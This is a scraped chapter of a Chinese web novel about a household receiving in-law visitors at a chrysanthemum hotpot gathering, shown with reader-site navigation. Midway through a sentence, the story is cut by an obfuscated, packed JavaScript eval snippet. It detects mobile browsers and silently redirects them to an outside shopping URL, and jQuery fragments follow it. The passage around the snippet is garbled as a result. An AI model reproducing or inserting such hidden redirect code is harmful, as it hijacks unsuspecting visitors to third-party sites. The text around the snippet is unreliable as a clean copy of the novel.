默认冷灰
24号文字
方正启体

5. 岳家来客

作者:齐氏孙泉本书字数:K更新时间:
    最后这一日的脚还是正夫给暖的。


    许是泡了脚,次日清晨比平时都神清气爽些。


    临出门崔贤好似才想起来,递给她一张拜帖。


    “岳父泰水要携□□?好事啊,你安排就行。”林昭倒是没放在心上。


    先不论岳母泰山的心思,单二人婚后,林昭从不限制崔贤与娘家往来,不管是来客还是省亲都是自由的,跟她知会一声便是。


    这位岳父自然不姓崔,是岳母位列家主后续娶的续弦。崔家本是拦过的,奈何举家都要仰仗她的鼻息,只捏着鼻子应下。


    但约法三章,不论花大人后续如何娶夫纳侍,过门的都要饮下绝嗣的汤药,断绝在崔家生出旁人血脉的可能。


    其实这个要求也算中了岳母泰山的下怀,她进入朝堂打拼,一孕至少耽搁一两年。这可不是小事儿,左右她儿女双全,也不必因此事耽搁官途,便应下了。


    故而崔贤只有一个亲妹妹崔岩,剩下的都是旁支所出。


    现岳母房里有一夫两侍,来的这位是世家旁支出身的正夫高氏,印象里也算得上贤良,林昭对他印象不错。


    崔贤低眉,不动声色的提醒:“要带上崔敏的。”


    便是上回提过的堂弟,岳母泰山一心塞给她做侍的那个。


    林昭最是了解他们堂兄弟之间的是非,皱了皱眉道:“那就没意思了。阿岩我记得是预备乡试了,我还能说上一二。”


    崔贤便笑道:“那我把明曦的意思递回去,只带妹妹一个就够了。”


    林昭反应过来,抬手用力掐了掐崔贤的脸:“那我做筏子是吧?你何时对岳母这般谨小慎微了?”


    啧,脸皮紧巴巴的,怪不好掐的。


    崔贤并不答话,揉了揉被掐红的脸。


    出门碰见陈鸾行礼,他今日装扮竟与崔贤像极了,水绿的一身,仿佛一根清雅的竹子,与崔贤模样不同,自然另有风味。


    头上簪的也是林昭昨日新买的。


    林昭多瞄了两眼,立刻听见了身后的轻咳声。


    崔贤声音依旧的温和:“叫马夫慢些,仔细路上的坑。”


    “哎!”林昭应了一声,脚下生风逃也似的离开院子。


    这家有妒夫,日子不好过啊。


    原是没什么的小插曲,林昭万万没想到能跟陈鸾家里撞在一天。


    原本上门到访,需要提前递拜帖,好叫主人家提前准备免得措手不及。若非急事或是报丧,人不打招呼直接上家门来打主人家一个措手不及,那是没教养才能干出来的。


    拜帖还有个好处,时间个给个大概,若主人家当时不方便,还能商议着来。


    天底下不止林昭一个忙人,交际也是插着空来的。


    结果三方一算时间,能空出来的竟然凑到了一起。


    崔贤善解人意道:“我着人回去吱一声吧,下回再议也无妨。”


    也不差这一回。


    陈鸾当即否了:“没这个道理,传出去奶奶成什么了?”


    面见陈鸾那边的旧日同窗是正事不假。可陈鸾既然在府中当侍夫,那如何也不能越过正夫去。两边再怎么都是娘家,一夫一侍之间也如同天谴,不可混淆,尊卑分明。


    不然轻的说尊卑不分,有心人传谣宠侍灭夫也是有可能的。


    若是被言官在圣上面前提一嘴……


    崔贤想起梦见的那些,当时出了冷汗。


    “是我欠考虑了……可阿鸾毕竟新过门,此时来客还要往后头支,叫人误会苛待你又当如和?”


    “那名声也总好些。”陈鸾嘟囔着,其实也在努力想主意。


    林昭倒是全然不往心里去了,只托腮悠然道:“又没谁规定一天只能接待一家来客。何况都不是外人。”


    如果是相互不相干的人家,且是贵客的话,客不见客算是约定俗成的,不然显得不够重视。


    可既然都是后院里人的亲戚,那亲家与亲家之间都不算外人,这又有什么为难的?


    陈鸾想到的是他们私下商议的那些,闻言考虑起来可行性。


    细细想来,确实算不得冲突。


    崔贤不放心道:“只怕给阿鸾委屈受。”


    毕竟算门第,陈家就算落寞了,曾经也是好过的,论理比崔家高些。奈何孩子进门做侍,身为亲戚相互自然也矮一截。


    陈鸾无所谓的摆摆手:“这倒是不妨事,反倒是他们若拿乔,只管来与我说。”


    他对自己的身份地位还是蛮接受的。


    如此三两句谈妥了,便打发人去两边知会一声了。


    除了喜事儿外,宅子里鲜少这样热闹。


    林昭没有养门客,没那个时间也没那个精力,这出来进去的人自然也有限。


    只是谁也没想到,到了日子又生了事。


    这跟崔陈两家都无关,是大嫂娘家来人,她的远方堂弟,生的唇红齿白很是俊俏。


    好巧不巧的,正好当日乘坐的马车停在侧门。


    门房匆匆进来询问林昭的意思,她才知道好大哥给作了这么一个幺。


    正在忙里忙外安排的崔贤冷下脸来:“既然是来投奔大嫂的,便是后宅的事儿。奶奶交给我吧。”


    瞧他说的郑重其事,林昭便不插手了。


    “你安排吧,也不用多放心上。”


    今日事多,她还心疼自家主夫受累呢。


    宅子里的花匠是重金养的,园林造诣在京城里算得上名号。今日新培育的菊花花开正盛,后花园的景儿也正是欣赏的好时节。


    崔贤便在花园亭子里安排了菊花锅,以新鲜的菊花、海鲜和精养的鸡肉做汤底,花儿的清香味随着炭火的加热激发出来最是清香爽利,哪怕是夏日里吃也不会觉得燥。


    林昭这个家主带头引着亲家进来的时候,崔贤正带着陈鸾一块安排着进出的丫头小厮忙碌。


    崔贤的继父高氏一袭蓝色长袍,是品级诰命的男装,很是正式庄重,衬托一张阴柔的脸多几分严肃。


    他是来客里的长辈,自然多几分从容。


    两步上前仔细瞧瞧崔贤,抬手拍了拍继子的胳膊。


    崔贤领着一众人行礼唤了声父亲,又与其余平辈的相互见礼。


    崔岩来的最多,与林昭也亲厚,只含笑往林昭旁边走了两步:“嫂嫂家的院子每回来都不大一样,搞得我都想挖花匠回府里了。”


    林昭瞧她似乎高了些:“花匠能干,那是你哥哥会指派,同样的人去了你那儿可就打扫不出这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033561|194596||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么好的院子了。”


    崔岩装模作样的叹口气:“便是我命不好了,总就这么一个厉害的哥哥嫁给了嫂嫂,那就别嫌弃我往后总来了。”


    换来一片笑声。


    陈家来人没多少动静,一进来先不动声色的四下打量,与陈鸾隔空望一眼相□□点头,瞧着他穿着体面,精神头也足,一看就是没有被磋磨的样子。


    崔贤等他们相互有了目光交流,才开口打招呼。


    “陈家郎君果然个个龙凤之姿,阿鸾跟我说我还当是吹牛,可一进来我就知道此言非虚。”


    陈家来的几人都是男丁,只是出身旁支算是最近才稍有发迹,最好的那个才被指派了个七品芝麻小官,剩下的有个秀才举人之类功名在身上的都算不易了。


    闻言皆是拱手见礼,先见过来府里的主夫。


    “实在惭愧,我等草莽能来此拜见才是面上有光。”说话的便是那唯一有官身的,家中行三,比陈鸾略大。


    林昭按辈分唤他一声三哥。


    “三哥谦虚,不过在客气就显得生分了。锅子水开了,大家既然都不是外人就莫要因虚礼耽搁了正经事,都入席吧。”


    崔陈两家自然也在相互打量,不过既然都是读书人,往后少不得同朝为官,这三言两语的很快就打破了隔阂相谈甚欢。


    听闻崔岩要考举人了,有经验的还都能说上两句。


    后眷几人做的相近,陈鸾坐在崔贤下手,与高氏进些。


    相互谈话时候,高氏才将他从头打量到脚。


    陈鸾不大自在,便埋头剥虾,静静听着崔贤与继父你来我往的交流。


    “到底是天家所赐,我瞧一眼就知道是委屈他了。好在敬贤你也非那等拈酸吃醋的,你们夫侍和睦,你当家的回来也安心。”


    崔贤压下心底的是非,并未接下去,只是瞧一眼对面的妹妹,话里有话道:


    “自然各家都有各家的一本经。我们日子才过几年?往后还长着呢。你看岩儿,真真有了几分少年英气。是往后娘与爹的指望。你们都爱叫她表字,我却实在喜欢这个岩字,坚如磐石,正是出生那时娘亲所有的期盼。”


    高氏不知想到了什么,眉眼都柔和了三份,顺着他的视线将思绪拉长了好远。


    “她自是出息的,从没叫你娘失望。”


    “越是如此,才越不该忘了谦逊二字,须知盛筵必散的道理。若只管着眼下春风得意马蹄疾,谁又晓得来日是何光景?”


    高氏一怔,一时脑海里闪过无数思绪,只压低了声音忙问:“可是听见什么风声了?”


    崔贤摇头,他自然不会说都是梦里的事儿了。


    “父亲莫问,儿子也说不清楚。也许母亲那般博古通今之人能比我明白一二,剩下的就再说吧。”


    崔贤没有深说下去,反而更增添了高氏的疑虑。


    他此次来自然有一肚子的事儿,可崔贤的模样瞧着,怎么看都不是能闲谈的。


    犹豫再三,高氏看一眼陈鸾,又隐晦的扫一眼与宾客相谈正欢的林昭。


    “论理,你府里的事儿轮不到咱多嘴。只是你们成婚满了三年,也当开枝散叶了。若不然,不说后宅这些小事儿,于朝堂之上圣上跟前也是面上无光啊。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)